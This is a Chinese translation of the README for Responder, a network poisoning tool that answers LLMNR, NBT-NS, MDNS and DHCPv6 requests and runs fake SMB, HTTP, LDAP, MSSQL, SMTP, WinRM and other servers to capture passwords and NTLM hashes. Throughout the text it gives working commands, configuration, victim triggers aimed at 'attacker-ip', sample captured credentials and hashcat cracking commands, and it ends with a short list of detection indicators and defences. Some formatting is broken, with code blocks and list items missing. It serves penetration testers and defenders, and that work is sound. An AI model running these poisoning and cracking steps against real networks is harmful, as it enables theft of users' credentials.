Responder是一款LLMNR、NBT-NS和MDNS投毒工具,内置HTTP/SMB/MSSQL/FTP/LDAP欺诈认证服务器,支持NTLMv1/NTLMv2/LMv2、扩展安全NTLMSSP和基本HTTP认证。
Responder 是一个 LLMNR、NBT-NS 和 MDNS 毒化工具,内置针对 HTTP、SMB、MSSQL、FTP、LDAP、Kerberos、DNS 等协议的虚假认证服务器。它支持 NTLMv1/NTLMv2/LMv2、扩展安全 NTLMSSP 以及超过 15 种协议的各种认证方法。
Responder 通过响应 LLMNR、NBT-NS 和 MDNS 名称解析请求来捕获凭证。当客户端尝试解析不存在的主机名时,Responder 会应答,将客户端引导至攻击者机器,在那里多个虚假认证服务器捕获凭证。同时包含 DHCP 和 DHCPv6 虚假服务器,可单独启用。
捕获的数据:
此版本包括:
sudo apt-get update sudo apt-get install python3 python3-pip python3-netifaces
### 安装 Responder```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt
sudo python3 Responder.py --help
---
## 快速开始
### 基础投毒```bash
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v
# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v
sudo python3 Responder.py -I eth0 --dhcpv6 -v
### 强制HTTP基本认证```bash
sudo python3 Responder.py -I eth0 -b -v
sudo python3 Responder.py -I eth0 -Pvd
---
## 网络投毒
### LLMNR/NBT-NS/MDNS 投毒
**目的:** 响应名称解析失败
**工作原理:**
1. 客户端广播查询不存在的主机
2. 响应者回答:"我就是那个主机"
3. 客户端连接到攻击者
4. 凭据被捕获
**配置:**```ini
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On
用法:```bash sudo python3 Responder.py -I eth0 -v
---
### DHCPv6 服务器
**目的:** 强制客户端通过 IPv6 使用攻击者的 DNS
**功能特性:**
- ✅ 支持 INFORMATION-REQUEST(Windows 10/11)
- ✅ 支持 SOLICIT/REQUEST
- ✅ 域名过滤(精确目标定位)
- ✅ 路由器通告(可选)
**工作原理:**
1. Windows 发送 DHCPv6 INFORMATION-REQUEST、SOLICIT、REQUEST
2. 响应器回应:DNS = 攻击者 IPv6
3. Windows 优先使用 IPv6 DNS
4. 所有 DNS 查询 → 攻击者
5. DNS 投毒 → 凭据捕获
**配置:**```ini
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
用法:```bash sudo python3 Responder.py -I eth0 --dhcpv6 -v
**预期输出:**```
[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: [email protected]:Password123
Responder 包含 17 个以上的伪造认证服务器:
用途: 从文件共享捕获 NetNTLM 哈希
特性:
触发方式:```powershell
\attacker-ip\share \non-existent-server\files
net use \attacker-ip\share
\attacker-ip\
**捕获的格式:**```
username::domain:challenge:response:blob
破解:```bash hashcat -m 5600 smb-ntlmv2.txt wordlist.txt
**配置:**```ini
[Responder Core]
SMB = On
目的: 捕获明文 FTP 凭证
功能:
触发器:```bash ftp attacker-ip
**捕获格式:**```
[FTP] Cleartext: username:password
配置:```ini [Responder Core] FTP = On
---
### 数据库服务器
#### MSSQL 服务器(端口 1433)
**用途:** 捕获 Microsoft SQL Server 身份验证
**功能:**
- ✅ SQL Server 身份验证
- ✅ Windows 身份验证 (NTLM)
- ✅ 明文 SQL 凭据
- ✅ NetNTLMv2 哈希捕获
**触发器:**```sql
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows
-- Command line
sqlcmd -S attacker-ip -U sa -P password
-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;
捕获的格式:``` [MSSQL] SQL Auth: sa:password123 [MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob
**配置:**```ini
[Responder Core]
SQL = On
备注:
目的: 捕获电子邮件客户端认证
特性:
STARTTLS 流程:``` Client → EHLO Server → 250-STARTTLS Client → STARTTLS Server → 220 Ready to start TLS [TLS handshake using self-signed cert] Client → AUTH PLAIN Server → Captured! ✅
**触发器:**```
Email client configuration:
- Server: attacker-ip
- Port: 25 or 587
- Security: STARTTLS or None
- Username: anything
- Password: anything
捕获的格式:``` [SMTP] LOGIN: [email protected]:Password123 [SMTP] NetNTLMv2: user::DOMAIN:challenge:response:blob [SMTP] CRAM-MD5: user:challenge:response
**配置:**```ini
[Responder Core]
SMTP = On
证书警告: 自签名证书警告属于正常现象。客户端首次连接会被拒绝,重试后成功,凭据仍会被捕获。
用途: 通过 STARTTLS 捕获 IMAP 认证信息
特性:
STARTTLS 流程:``` Client → CAPABILITY Server → * CAPABILITY IMAP4 AUTH=PLAIN AUTH=NTLM STARTTLS Client → STARTTLS Server → OK Begin TLS negotiation now [TLS upgrade] Client → LOGIN user password Server → Captured! ✅
**配置:**```ini
[Responder Core]
IMAP = On
目的: 基于 SSL 的 IMAP(原生加密)
特性:
与普通 IMAP 的区别:``` Port 143 (IMAP): Plain → STARTTLS → Encrypted Port 993 (IMAPS): Encrypted from start
**配置:**```ini
[Responder Core]
IMAPS = On
目的: 捕获 POP3 电子邮件检索凭据
功能:
触发器:``` Email client:
**捕获格式:**```
[POP3] USER: username
[POP3] PASS: password
配置:```ini [Responder Core] POP = On
---
### Web 服务器
#### HTTP 服务器(端口 80)
**用途:** 捕获 Web 认证
**特性:**
- ✅ NTLM 认证(NetNTLMv1/v2)
- ✅ 基本认证(明文)
- ✅ 摘要认证(MD5)
- ✅ WPAD 注入
**触发器:**```
Browser: http://attacker-ip/
UNC: file://attacker-ip/share
WPAD: Automatic proxy detection
强制基本认证:```bash sudo python3 Responder.py -I eth0 -b
**捕获的格式:**```
[HTTP] NTLM NTLMv2: user::DOMAIN:challenge:response:blob
[HTTP] Basic: user:password
[HTTP] Digest: user:realm:hash
配置:```ini [Responder Core] HTTP = On
---
#### HTTPS 服务器(端口 443)
**用途:** 带认证捕获的 HTTPS
**特点:**
- ✅ SSL/TLS 加密
- ✅ 所有 HTTP 认证方法
- ✅ 自签名证书
- ✅ 基于 HTTPS 的 WPAD
**配置:**```ini
[Responder Core]
HTTPS = On
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
目的: 捕获 AS-REP 哈希,用于离线破解
特性:
工作原理:
破解:```bash hashcat -m 7500 kerberos-asreq.txt wordlist.txt
**配置:**```ini
[Responder Core]
Kerberos = On
用途: 捕获 LDAP 目录身份验证
功能:
触发器:```bash
ldapsearch -H ldap://attacker-ip -D "CN=user,DC=corp,DC=local" -w password
dsquery user -d attacker-ip
**捕获的格式:**```
[LDAP] Simple: CN=user,DC=corp,DC=local:password
[LDAP] NetNTLMv2: user::DOMAIN:challenge:response:blob
配置:```ini [Responder Core] LDAP = On
---
#### LDAPS 服务器(端口 636)
**目的:** 基于 SSL 的 LDAP
**功能:**
- ✅ SSL/TLS 加密
- ✅ 所有 LDAP 认证方法
**配置:**```ini
[Responder Core]
LDAP = On
目的: 捕获远程桌面认证
功能:
触发器:``` Remote Desktop Client:
**捕获格式:**```
[RDP] NetNTLMv2: user::DOMAIN:challenge:response:blob
配置:```ini [Responder Core] RDP = On
**注意:** 在桌面会话之前捕获 NLA 认证。
---
#### WinRM 服务器(端口 5985、5986)
**目的:** 捕获 Windows 远程管理凭据
**功能:**
- ✅ HTTP(5985)和 HTTPS(5986)
- ✅ 基本认证
- ✅ NTLM 认证
- ✅ Kerberos 认证
**触发条件:**```powershell
# PowerShell remoting
Enter-PSSession -ComputerName attacker-ip
Invoke-Command -ComputerName attacker-ip -ScriptBlock { whoami }
# WinRM command line
winrm invoke -remote:http://attacker-ip
捕获的格式:``` [WinRM] Basic: DOMAIN\user:password [WinRM] NetNTLMv2: user::DOMAIN:challenge:response:blob
**配置:**```ini
[Responder Core]
WINRM = On
用途: 恶意DNS,支持域名过滤
功能:
配置:```ini [DHCPv6 Server] ; DNS uses same domain filter as DHCPv6 DHCPv6_Domain = corp.local
**工作原理:**```
Query: mail.corp.local
Response: 192.168.1.100 (attacker)
Client connects to attacker's SMTP
Credentials captured!
支持的记录类型:
域名过滤示例:``` DHCPv6_Domain = corp.local
mail.corp.local → POISONED ✅ dc01.corp.local → POISONED ✅ google.com → IGNORED (normal DNS)
**配置:**```ini
[Responder Core]
DNS = On
目的: 捕获 Windows RPC 认证
功能:
触发条件:``` Windows services querying RPC endpoint mapper WMI queries Remote registry access
**捕获的格式:**```
[DCERPC] NetNTLMv2: user::DOMAIN:challenge:response:blob
配置:```ini [Responder Core] DCERPC = On
---
## 配置
### 主配置文件
编辑 `Responder.conf`:```ini
[Responder Core]
; === Network Services ===
SQL = On # MSSQL (port 1433)
SMB = On # SMB (ports 445, 139)
RDP = On # Remote Desktop (port 3389)
Kerberos = On # Kerberos (port 88)
FTP = On # FTP (port 21)
POP = On # POP3 (port 110)
SMTP = On # SMTP with STARTTLS (port 25/587)
IMAP = On # IMAP with STARTTLS (port 143)
IMAPS = On # IMAPS with SSL (port 993)
HTTP = On # HTTP (port 80)
HTTPS = On # HTTPS (port 443)
DNS = On # DNS (port 53)
LDAP = On # LDAP/LDAPS (ports 389/636)
DCERPC = On # Windows RPC (port 135)
WINRM = On # Windows Remote Management (ports 5985/5986)
; === Poisoners ===
LLMNR = On # Link-Local Multicast Name Resolution
NBTNS = On # NetBIOS Name Service
MDNS = On # Multicast DNS
DHCP = Off # DHCP (IPv4) - use with caution
DHCPv6 = On # DHCPv6 (IPv6) - use with more caution
; === Settings ===
SessionLog = On
LogToFile = On
Verbose = Yes
Database = Responder.db
; === SSL Certificates ===
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
[HTTP Server]
HtmlFilename = files/AccessDenied.html
[DHCPv6 Server]
; Target specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements (use with caution)
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
sudo python3 Responder.py [options]
### 必需参数
| 选项 | 描述 |
|--------|-------------|
| `-I eth0, --interface=eth0` | 要使用的网络接口(使用 'ALL' 表示所有接口) |
### 投毒选项
| 选项 | 描述 |
|--------|-------------|
| `-A, --analyze` | 分析模式 - 查看 NBT-NS、MDNS、LLMNR 请求但不响应 |
| `-w, --wpad` | 启动 WPAD 恶意代理服务器(默认:关闭) |
| `-F, --ForceWpadAuth` | 在 wpad.dat 检索时强制 NTLM/基本认证(旧网络)|
| `-P, --ProxyAuth` | 强制代理使用 NTLM/基本认证(高效) |
### DHCP/DHCPv6 选项
| 选项 | 描述 |
|--------|-------------|
| `-d, --DHCP` | 启用 DHCP 广播响应并注入 WPAD(IPv4) |
| `-D, --DHCP-DNS` | 在 DHCP 响应中注入 DNS 服务器而非 WPAD |
| `--dhcpv6` | 启用 DHCPv6 投毒(响应 SOLICIT 消息) |
### IP 投毒选项
| 选项 | 描述 |
|--------|-------------|
| `-e 10.0.0.22, --externalip=10.0.0.22` | 使用另一个 IPv4 地址投毒请求 |
| `-6 ADDR, --externalip6=ADDR` | 使用另一个 IPv6 地址投毒请求 |
| `-i 10.0.0.21, --ip=10.0.0.21` | 要使用的本地 IP(仅 macOS) |
### 认证选项
| 选项 | 描述 |
|--------|-------------|
| `-b, --basic` | 返回 HTTP 基本认证(默认:NTLM) |
| `--lm` | 强制 LM 哈希降级(Windows XP/2003) |
| `--disable-ess` | 强制扩展安全 NTLMSSP 降级 |
### 高级选项
| 选项 | 描述 |
|--------|-------------|
| `-u HOST:PORT, --upstream-proxy=HOST:PORT` | 用于恶意 WPAD 的上游 HTTP 代理 |
| `-t 1e, --ttl=1e` | 更改投毒响应的 Windows TTL(十六进制:30s=1e,或 'random') |
| `-N NAME, --AnswerName=NAME` | LLMNR 响应的规范名称(用于 Kerberos 中继) |
| `-E, --ErrorCode` | 返回 STATUS_LOGON_FAILURE(启用 WebDAV 认证捕获) |
### 输出选项
| 选项 | 描述 |
|--------|-------------|
| `-v, --verbose` | 增加详细程度(推荐) |
| `-Q, --quiet` | 安静模式 - 禁用投毒器输出 |
### 信息
| 选项 | 描述 |
|--------|-------------|
| `--version` | 显示程序版本并退出 |
| `-h, --help` | 显示帮助信息并退出 |
---
### 存储位置```
Responder.db # SQLite database
logs/
├── HTTP-NTLMv2-<IP>.txt # HTTP NetNTLMv2 hashes
├── SMB-NTLMv2-<IP>.txt # SMB NetNTLMv2 hashes
├── MSSQL-NTLMv2-<IP>.txt # MSSQL NetNTLMv2 hashes
├── Kerberos-AES-<IP>.txt # Kerberos AS-REP hashes
├── SMTP-Cleartext-<IP>.txt # SMTP cleartext credentials
├── IMAP-NTLMv2-<IP>.txt # IMAP NetNTLMv2 hashes
├── FTP-Cleartext-<IP>.txt # FTP cleartext credentials
├── LDAP-Cleartext-<IP>.txt # LDAP cleartext credentials
├── RDP-NTLMv2-<IP>.txt # RDP NetNTLMv2 hashes
└── WinRM-NTLMv2-<IP>.txt # WinRM NetNTLMv2 hashes
sqlite3 Responder.db
.tables
SELECT * FROM hashes;
.mode csv .output hashes.csv SELECT * FROM hashes; .quit
---
### 操作安全(OpSec)注意事项
**检测指标:**
- 异常的 LLMNR/NBT-NS 响应
- 非授权的 DHCP/DHCPv6 服务器
- 无效的 Kerberos 预认证请求
- 自签名 SSL 证书
- 多次身份验证失败
- 可疑的 DNS 响应
**防御措施:**
- 通过 GPO 禁用 MDNS/LLMNR/NBT-NS
- 在交换机上启用 DHCP 侦听(DHCP snooping)
- 启用 IPv6 RA 防护
- 启用 DHCPv6 防护
- 监控非授权的 DHCPv6 服务器
---
## macOS
Responder 可在 macOS 上运行,但需要使用 `-i` 标志指定本地 IP 地址。macOS 不支持 Linux 上用于接口绑定的 `SO_BINDTODEVICE` 套接字选项。
### 使用启动脚本
附带的 `macOS_Launcher.sh` 可自动处理服务冲突:```bash
sudo ./macOS_Launcher.sh -I en0
启动器将:
-i 以覆盖)ipconfig getifaddr en0
sudo python3 Responder.py -I en0 -i 192.168.1.100
### 系统完整性保护 (SIP)
在 SIP 开启时(默认状态),macOS 会阻止停止绑定 Responder 所需端口的系统服务。你有三种选择:
1. **使用启动脚本** — 它会报告冲突并继续使用可用功能
2. **在 `Responder.conf` 中禁用冲突模块**(例如 `SMB = Off`, `DNS = Off`)
3. **禁用 SIP** 以获得完整功能(参见 [Apple 文档](https://developer.apple.com/documentation/security/disabling-and-enabling-system-integrity-protection))
---
## 故障排除
### 常见问题
**权限被拒绝:**```bash
sudo python3 Responder.py -I eth0
接口未找到:```bash ip link show sudo python3 Responder.py -I wlan0
**端口已被占用:**```bash
sudo netstat -tulpn | grep 445
sudo systemctl stop smbd nmbd
DHCPv6 不工作:```bash
sudo sysctl -w net.ipv6.conf.all.disable_ipv6=0
sysctl net.ipv6.conf.all.disable_ipv6
**未捕获到哈希:**```bash
# Verify servers running
sudo python3 Responder.py -I eth0 -v
# Check firewall
sudo iptables -L
# Monitor traffic
sudo tcpdump -i eth0 port 445 or port 88 or port 389
sudo python3 Responder.py -I eth0 -vv
tail -f logs/Responder-Session.log
sudo tcpdump -i eth0 -w responder-capture.pcap
---
## 致谢
**作者:** Laurent Gaffié
- GitHub: https://github.com/lgandx
- 网站: https://secorizon.com/
- Twitter: @secorizon
---
## 捐赠
您可以通过以下USDT或比特币地址向本项目捐款:
USDT: 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
BTC: bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49
Paypal:
https://paypal.me/PythonResponder
---
## 鸣谢
Late Responder 的开发得益于个人和公司的捐赠。
我们要感谢以下主要赞助商:
SecureWorks: https://www.secureworks.com/
Synacktiv: https://www.synacktiv.com/
Black Hills Information Security: http://www.blackhillsinfosec.com/
TrustedSec: https://www.trustedsec.com/
Red Siege Information Security: https://www.redsiege.com/
Open-Sec: http://www.open-sec.com/
以及世界各地所有向本项目捐款的渗透测试人员。
谢谢你们。